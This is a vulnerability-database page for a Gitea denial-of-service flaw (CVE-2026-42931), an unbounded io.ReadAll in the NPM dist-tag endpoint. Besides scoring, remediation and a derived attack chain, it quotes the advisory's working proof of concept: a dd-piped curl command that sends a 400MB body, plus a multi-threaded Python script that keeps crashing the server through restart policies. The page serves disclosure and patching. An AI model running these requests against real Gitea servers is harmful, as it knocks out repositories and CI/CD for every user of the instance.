Skip to main content

Gitea EUVDEUVD-2026-58135

| CVE-2026-42931 MEDIUM
Allocation of Resources Without Limits or Throttling (CWE-770)
2026-07-21 https://github.com/go-gitea/gitea GHSA-wwqq-x6w4-frm2
6.5
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Register or obtain Gitea user account
  2. Delivery
    Send oversized PUT request to /api/packages/{user}/npm/-/package/{any}/dist-tags/{tag}
  3. Exploit
    io.ReadAll() reads entire body into RAM with no limit
  4. Execution
    Go runtime OOM allocation failure kills entire server process
  5. Persist
    All repository, CI/CD, and issue-tracking services become unavailable
  6. Impact
    Repeat concurrently to defeat auto-restart policies

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource allocation limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The Gitea package registry must be enabled - it is on by default in standard installations. The attacker must be authenticated as any registered user; write access to a package namespace is granted automatically to every user for their own namespace (doer.ID == pkgOwner.ID unconditionally grants AccessModeOwner in services/context/package.go:155-157). No NPM package needs to pre-exist: the OOM crash occurs at npm.go:336 during io.ReadAll(), before the package lookup at line 343 is ever reached. If self-registration is enabled (Gitea's default, controlled by DISABLE_REGISTRATION = false), the effective barrier is zero - any internet-reachable attacker can register and exploit immediately without pre-existing credentials. On instances with self-registration disabled, the attack is limited to existing authenticated users regardless of privilege level.

Impact

The NVD CVSS vector AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H (6.5) is technically accurate but operationally understates impact. A score of 6.5 suggests a moderate, recoverable availability issue, whereas this vulnerability causes a hard process kill - a full server outage affecting all concurrent users, all repositories, and all CI/CD pipelines simultaneously. No EPSS score was provided in the input data, and this CVE is not in CISA KEV, confirming no known widespread active exploitation at time of analysis. However, a fully functional PoC is publicly documented in the GHSA advisory with video proof, requiring no exploit development skill - a single dd | curl command suffices. The authentication barrier (PR:L) is further weakened by Gitea's default self-registration setting, which effectively reduces the practical exploitability to unauthenticated-equivalent for any internet-reachable instance. The persistent DoS characteristic - concurrent requests re-kill the server through automatic restart policies - further elevates operational severity beyond what the base CVSS captures. Real-world risk should be treated as high for any internet-facing Gitea instance on versions prior to 1.27.0.

Exploit ScenarioDerived

An attacker registers a free Gitea account (possible by default due to open self-registration) and sends a single HTTP PUT request to /api/packages/{username}/npm/-/package/anyname/dist-tags/latest with a request body sized to approximately 80% of the server's total RAM - around 400MB for a 512MB instance. Gitea reads the entire body into a Go []byte via io.ReadAll(), exhausts available memory, and the runtime issues an unrecoverable OOM kill that takes down the entire server process. A publicly documented PoC using dd if=/dev/zero | curl confirms single-request reproducibility, and a concurrent multi-threaded variant can sustain the denial of service through Docker restart: always policies.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 21, 2026

Denial of service in Gitea's NPM package registry API allows any authenticated user to crash the entire server process with a single HTTP request by exploiting an unbounded io.ReadAll() call in the AddPackageTag handler. Gitea versions up to and including v1.26.2 are confirmed vulnerable, with the fix shipped in v1.27.0. Because self-registration is enabled by default, external unauthenticated attackers can register a free account and immediately exploit this to take down all Gitea-hosted services including repositories, CI/CD pipelines, and issue tracking; a detailed proof-of-concept with video evidence is publicly available in the advisory.

RemediationAI

Upgrade to Gitea v1.27.0, the vendor-confirmed fixed release per GHSA-wwqq-x6w4-frm2 (https://github.com/go-gitea/gitea/security/advisories/GHSA-wwqq-x6w4-frm2). If immediate upgrade is not feasible, disable the entire package registry by setting [packages] ENABLED = false in the Gitea configuration - note this removes all package registry functionality (Go, PyPI, Docker, Maven, etc.), not just NPM, which may disrupt CI/CD pipelines. As a partial mitigation, disable self-registration ([service] DISABLE_REGISTRATION = true) to prevent unauthenticated external actors from obtaining exploit credentials; this does not protect against attacks by existing authenticated users. Deploying a reverse proxy such as nginx in front of Gitea with client_max_body_size set to a small limit (e.g., 10m for the dist-tag endpoint) would cap request body size at the network edge and prevent the OOM condition while preserving functionality, though this requires careful path-specific configuration to avoid blocking legitimate large package uploads on other endpoints.

Affected VersionsENISA

Gitea Open Source Git Server 0 ≤1.24

Affected Packages

go code.gitea.io/gitea fix: 1.27.0
go gitea.dev fix: 1.27.0
euvd gitea_open_source_git_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in routers/api/packages/npm/npm.go within the AddPackageTag function, which handles HTTP PUT requests to the /-/package/{id}/dist-tags/{tag} route of Gitea's built-in NPM package registry. The root cause is CWE-770 (Allocation of Resources Without Limits or Throttling): Go's io.ReadAll() builds a dynamically growing []byte with no upper bound on allocation. When a request body exceeds available system RAM, the Go runtime's reallocation attempt fails and triggers an unrecoverable runtime.throw("out of memory") that kills the entire server process - not just the handling goroutine. Gitea's existing per-type upload limits (e.g., LIMIT_SIZE_NPM in modules/setting/packages.go) and the 32MB HashedBuffer that safely spills package uploads to disk are completely bypassed for this endpoint; AddPackageTag reads the body directly before any package lookup occurs at line 343. The affected package identifier is pkg:go/code.gitea.io/gitea.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY 6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 6.5 MEDIUM

Network-accessible endpoint requires only a low-privilege authenticated account; single oversized request crashes the entire Go server process, yielding A:H with no confidentiality or integrity impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE MEDIUM
Red Hat 6.5 MEDIUM

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

An unbounded io.ReadAll(ctx.Req.Body) call in the NPM package tag API endpoint allows any authenticated user to crash the Gitea server by sending a single large HTTP request. The request body is read entirely into memory with no size limit, causing an Out-of-Memory (OOM) kill. With concurrent requests, the attack produces a persistent denial of service that survives automatic restarts.

Details

The AddPackageTag function reads the entire HTTP request body into memory using io.ReadAll() with no size validation:

go
// routers/api/packages/npm/npm.go:332-341
func AddPackageTag(ctx *context.Context) {
    packageName := packageNameFromParams(ctx)

    body, err := io.ReadAll(ctx.Req.Body)  // NO SIZE LIMIT
    if err != nil {
        apiError(ctx, http.StatusInternalServerError, err)
        return
    }
    version := strings.Trim(string(body), "\"")
    // ...
}

This route is registered at routers/api/packages/api.go:433:

go
r.Group("/-/package/{id}/dist-tags", func() {
    // ...
    r.Group("/{tag}", func() {
        r.Put("", npm.AddPackageTag)    // reqPackageAccess(perm.AccessModeWrite)
        r.Delete("", npm.DeletePackageTag)
    })
})

Why this causes OOM and not just a slow request:

In Go, io.ReadAll() reads into a []byte that grows dynamically. When the incoming data exceeds available memory, the Go runtime attempts to allocate a larger backing array. This allocation fails, triggering an unrecoverable runtime.throw("out of memory") that kills the entire process, not just the goroutine handling the request.

No server-side size limits apply to this endpoint:

Gitea has per-type size limits (e.g., LIMIT_SIZE_NPM) defined in modules/setting/packages.go, but these are only enforced during UploadPackage, not in AddPackageTag. The mustBytes() function defaults all limits to -1 (unlimited) when not explicitly configured:

go
// modules/setting/packages.go:96-101
func mustBytes(section ConfigSection, key string) int64 {
    const noLimit = "-1"
    value := section.Key(key).MustString(noLimit)  // defaults to "-1"
    if value == noLimit {
        return -1
    }

Even if an admin sets LIMIT_SIZE_NPM, it would not protect this endpoint. AddPackageTag never checks any size limit before calling io.ReadAll().

The Gitea HTTP server has no global request body size limit. The HashedBuffer used for package uploads (which does have a 32MB memory buffer before spilling to disk) is not used for this endpoint. AddPackageTag reads the body directly via io.ReadAll(), bypassing all buffer protections:

go
// modules/packages/hashed_buffer.go:29-33
const DefaultMemorySize = 32 * 1024 * 1024  // 32MB, which is safe and spills to disk

// but npm.go:336 bypasses this entirely:
body, err := io.ReadAll(ctx.Req.Body)  // reads everything into RAM, no limit

Access requirements:

go
  if doer.ID == pkgOwner.ID {
      accessMode = perm.AccessModeOwner
  }
go
  body, err := io.ReadAll(ctx.Req.Body)  // line 336; OOM happens here
  // ...
  pv, err := packages_model.GetVersionByNameAndVersion(...)  // line 343, which is never reached

PoC

Tested Environment:

  • Gitea instance (tested on v1.26.2 Docker, confirmed in source up to v1.27.0-dev)

Prerequisites: Set up test environment

yaml
# docker-compose.yml
version: "3"
services:
  gitea:
    image: gitea/gitea:latest
    container_name: gitea-dos-test
    environment:
      - GITEA__database__DB_TYPE=sqlite3
      - GITEA__service__DISABLE_REGISTRATION=false
    ports:
      - "3000:3000"
    deploy:
      resources:
        limits:
          memory: 512M
bash
docker compose up -d
# Complete initial setup in browser at http://localhost:3000
# Register a user account (e.g., user1 / Password123!)

Step 1: Single request OOM crash

bash
# Send ~80% of container memory to the AddPackageTag endpoint.
# The body is read entirely into memory via io.ReadAll().
# For 512MB container: count=400 (~400MB) is enough.
# For larger containers, scale accordingly (e.g., count=800 for 1GB, count=1600 for 2GB).
# The package owner in the URL must match the authenticated user's username.
dd if=/dev/zero bs=1M count=400 | curl -u "user1:Password123!" \
  -X PUT \
  -H "Content-Type: application/json" \
  --data-binary @- \
  "http://localhost:3000/api/packages/user1/npm/-/package/anything/dist-tags/latest" \
  --max-time 120

Step 2: Verify server crash

bash
# Check if server responds
curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/api/v1/version
# Expected: connection refused (server is dead)

Step 3: Persistent DoS via concurrent requests (survives restart policies)

python
# Even with restart: always, concurrent attacks re-kill on startup
import threading, requests, itertools

payload = open('/tmp/p', 'rb').read() if __import__('os').path.exists('/tmp/p') else b'\x00' * (500 * 1024 * 1024)
i = itertools.count(1)

def worker():
    s = requests.Session()
    while True:
        n = next(i)
        try:
            s.put(
                f"http://localhost:3000/api/packages/user1/npm/-/package/pkg{n}/dist-tags/latest",
                data=payload,
                auth=("user1", "A@12345678"),
                timeout=120
            )
        except Exception:
            pass

for _ in range(20):
    threading.Thread(target=worker, daemon=True).start()

__import__('signal').pause()

One 400MB upload triggers OOM kill

https://github.com/user-attachments/assets/a7ba4566-56d5-41ba-ad9f-7e23045fa0f6

Crash loop after OOM with Docker restart policy

https://github.com/user-attachments/assets/9211649f-e10c-4b78-a1e5-223ab90d04a7

Observed result on Gitea 1.26.2:

  • Server logs: Received signal 15; terminating.
  • Container status: Exited (0)
  • Server remains down until manual restart
  • With restart: always, server restarts but can be immediately re-killed

Impact

Who is impacted:

  • All Gitea instances with the package registry enabled (enabled by default)
  • Any authenticated user can crash the server (No admin privileges required)
  • With self-registration enabled (default), an unauthenticated attacker can register an account and immediately crash the server
  • All users of the Gitea instance lose access to repositories, CI/CD, issues, and all hosted services

Attack characteristics:

  • Single request is sufficient to crash the server
  • No special payload: raw zeros work (no compression tricks needed)
  • Persistent multiple requests can re-kill the server even after auto-restart
  • Minimal bandwidth: attacker sends ~80% of the server's available memory in a single request to crash it (e.g., ~400MB for a 512MB instance, ~1.6GB for a 2GB instance)

Threat Intelligence Overview

EPSS Score
0.4%
Top 69% exploitable
Prevalence
Medium
popular self-hosted Git platform, common in developer and DevOps orgs
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

52
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy